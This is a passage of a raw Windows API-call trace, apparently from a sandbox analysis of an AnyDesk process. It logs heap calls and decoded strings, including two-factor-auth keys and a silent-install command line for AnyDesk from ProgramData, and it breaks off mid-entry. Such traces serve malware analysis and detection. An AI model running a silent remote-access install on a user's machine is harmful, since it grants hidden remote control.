0x0 [0178.057] SetLastError (dwErrCode=0x0) [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x9c) returned 0x241a40 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1f) returned 0x241ae8 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2b) returned 0x241b10 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x37) returned 0x241b48 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x241b88 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x31) returned 0x241bd0 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x18) returned 0x241c10 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x24) returned 0x241c30 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x14) returned 0x241c60 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xd) returned 0x241c80 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1a) returned 0x241c98 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x241cc0 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x19) returned 0x241cf8 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x17) returned 0x241d20 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe) returned 0x241d40 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x95) returned 0x241d58 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x241df8 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1b) returned 0x241e40 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1d) returned 0x241e68 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x241e90 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x241ee0 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x18) returned 0x241f00 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1b) returned 0x241f20 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x24) returned 0x241f48 [0178.057] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x29) returned 0x241f78 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1e) returned 0x241fb0 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xc) returned 0x241fd8 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6b) returned 0x241ff0 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x17) returned 0x242068 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xf) returned 0x242088 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2420a0 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x2420c0 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x29) returned 0x2420f8 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x242130 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x13) returned 0x242150 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1f) returned 0x242170 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x242198 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x18) returned 0x2421b8 [0178.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x46) returned 0x2421d8 [0178.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2409f0 | out: hHeap=0x240000) returned 1 [0178.060] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x2409f0 [0178.060] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x800) returned 0x242228 [0178.060] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0178.060] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0178.060] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.061] GetLastError () returned 0x0 [0178.061] SetLastError (dwErrCode=0x0) [0178.061] GetLastError () returned 0x0 [0178.061] SetLastError (dwErrCode=0x0) [0178.061] GetLastError () returned 0x0 [0178.061] SetLastError (dwErrCode=0x0) [0178.061] GetLastError () returned 0x0 [0178.061] SetLastError (dwErrCode=0x0) [0178.061] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1443780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0178.062] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x28) returned 0x240a78 [0178.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1443780, cbMultiByte=-1, lpWideCharStr=0x240a78, cchWideChar=20 | out: lpWideCharStr="*******************") returned 20 [0178.062] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.062] GetDC (hWnd=0x0) returned 0x400107c3 [0178.063] GetDeviceCaps (hdc=0x400107c3, index=88) returned 96 [0178.064] ReleaseDC (hWnd=0x0, hDC=0x400107c3) returned 1 [0178.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145ef6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0178.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x240aa8 [0178.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145ef6c, cbMultiByte=-1, lpWideCharStr=0x240aa8, cchWideChar=21 | out: lpWideCharStr="prokzult schnurbotan") returned 21 [0178.064] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240ae0 [0178.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240af0 [0178.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240b00 [0178.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240b10 [0178.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240b20 [0178.064] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a740, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.065] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x240b30 [0178.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a740, cbMultiByte=-1, lpWideCharStr=0x240b30, cchWideChar=11 | out: lpWideCharStr="vpn_driver") returned 11 [0178.065] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a74c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.065] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x240b50 [0178.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a74c, cbMultiByte=-1, lpWideCharStr=0x240b50, cchWideChar=8 | out: lpWideCharStr="tap0901") returned 8 [0178.065] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a754, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0178.070] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4e) returned 0x240b68 [0178.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a754, cbMultiByte=-1, lpWideCharStr=0x240b68, cchWideChar=39 | out: lpWideCharStr="{4D36E972-E325-11CE-BFC1-08002BE10318}") returned 39 [0178.070] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a77c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0178.070] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x240bc0 [0178.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a77c, cbMultiByte=-1, lpWideCharStr=0x240bc0, cchWideChar=7 | out: lpWideCharStr="ad.txt") returned 7 [0178.071] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.071] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.071] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240bd8 [0178.071] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.071] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240be8 [0178.072] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.072] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240bf8 [0178.072] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1049e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0178.072] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240c08 [0178.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1049e3d, cbMultiByte=-1, lpWideCharStr=0x240c08, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0178.072] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1049e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0178.072] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240c18 [0178.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1049e3d, cbMultiByte=-1, lpWideCharStr=0x240c18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0178.073] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.073] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.073] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472834, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0178.073] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x3c) returned 0x240c28 [0178.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472834, cbMultiByte=-1, lpWideCharStr=0x240c28, cchWideChar=30 | out: lpWideCharStr="ad.anynet.two_factor_auth_key") returned 30 [0178.074] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145f0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0178.074] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x32) returned 0x240c70 [0178.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145f0cc, cbMultiByte=-1, lpWideCharStr=0x240c70, cchWideChar=25 | out: lpWideCharStr="ad.anynet.two_factor_key") returned 25 [0178.074] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144cc08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0178.074] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x38) returned 0x240cb0 [0178.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144cc08, cbMultiByte=-1, lpWideCharStr=0x240cb0, cchWideChar=28 | out: lpWideCharStr="ad.features.two_factor_auth") returned 28 [0178.074] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14728b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0178.075] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6e) returned 0x240cf0 [0178.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14728b8, cbMultiByte=-1, lpWideCharStr=0x240cf0, cchWideChar=55 | out: lpWideCharStr="otpauth://totp/AnyDesk:%s?secret=%s&issuer=anydesk.com") returned 55 [0178.075] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14522ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.075] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x240d68 [0178.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14522ec, cbMultiByte=-1, lpWideCharStr=0x240d68, cchWideChar=3 | out: lpWideCharStr="\r\n") returned 3 [0178.075] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1479138, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0178.075] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x240d78 [0178.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1479138, cbMultiByte=-1, lpWideCharStr=0x240d78, cchWideChar=21 | out: lpWideCharStr="\r\n------ %S ------\r\n") returned 21 [0178.076] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.076] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240db0 [0178.076] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.076] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.076] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240dc0 [0178.076] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x240dd0 [0178.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1049da8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xc) returned 0x240df0 [0178.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1049da8, cbMultiByte=-1, lpWideCharStr=0x240df0, cchWideChar=6 | out: lpWideCharStr="https") returned 6 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x240e08 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xc) returned 0x240e20 [0178.077] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240df0 | out: hHeap=0x240000) returned 1 [0178.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1487518, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x240df0 [0178.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1487518, cbMultiByte=-1, lpWideCharStr=0x240df0, cchWideChar=5 | out: lpWideCharStr="file") returned 5 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x240e38 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x240e50 [0178.077] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240df0 | out: hHeap=0x240000) returned 1 [0178.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1487448, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x240df0 [0178.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1487448, cbMultiByte=-1, lpWideCharStr=0x240df0, cchWideChar=7 | out: lpWideCharStr="mailto") returned 7 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x240e68 [0178.077] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x240e80 [0178.077] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240df0 | out: hHeap=0x240000) returned 1 [0178.078] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.078] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x13) returned 0x240e98 [0178.078] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.078] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2f) returned 0x240eb8 [0178.078] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2f) returned 0x240ef0 [0178.078] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1b) returned 0x240f28 [0178.078] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1b) returned 0x240f50 [0178.078] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.079] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.079] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2409f0) returned 0x80 [0178.079] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x214) returned 0x242a30 [0178.079] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0178.080] GetCurrentThreadId () returned 0xe08 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x240df0 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x240df0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x240f78 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104aca8, cbMultiByte=-1, lpWideCharStr=0x240f78, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x242c50 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c50, cbMultiByte=-1, lpWideCharStr=0x242c50, cchWideChar=12 | out: lpWideCharStr="AnyDesk.exe") returned 12 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x240f90 [0178.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x240f90, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.080] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240f90 | out: hHeap=0x240000) returned 1 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x240f90 [0178.080] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240ae0 | out: hHeap=0x240000) returned 1 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x242c70 [0178.080] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240af0 | out: hHeap=0x240000) returned 1 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x240ae0 [0178.080] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240b00 | out: hHeap=0x240000) returned 1 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x242c88 [0178.080] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240b10 | out: hHeap=0x240000) returned 1 [0178.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x240b00 [0178.081] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240b20 | out: hHeap=0x240000) returned 1 [0178.081] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242c50 | out: hHeap=0x240000) returned 1 [0178.081] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240f78 | out: hHeap=0x240000) returned 1 [0178.081] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240df0 | out: hHeap=0x240000) returned 1 [0178.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15a1370, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8c) returned 0x242ca0 [0178.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15a1370, cbMultiByte=-1, lpWideCharStr=0x242ca0, cchWideChar=70 | out: lpWideCharStr="c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent") returned 70 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240b20 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240df0 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x240f78 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x242c50 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x242c60 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x242d38 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x242d78 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x242d90 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x242db0 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2e) returned 0x242dc8 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x242e00 [0178.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d680 [0178.082] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24d6a0 [0178.083] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.083] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d78 | out: hHeap=0x240000) returned 1 [0178.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ae8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.083] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472ae8, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--attach") returned 9 [0178.083] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472af4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.083] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472af4, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--connect") returned 10 [0178.084] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472b00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.084] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472b00, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--shm-id") returned 9 [0178.084] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432d88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0178.084] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x24) returned 0x242d38 [0178.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432d88, cbMultiByte=-1, 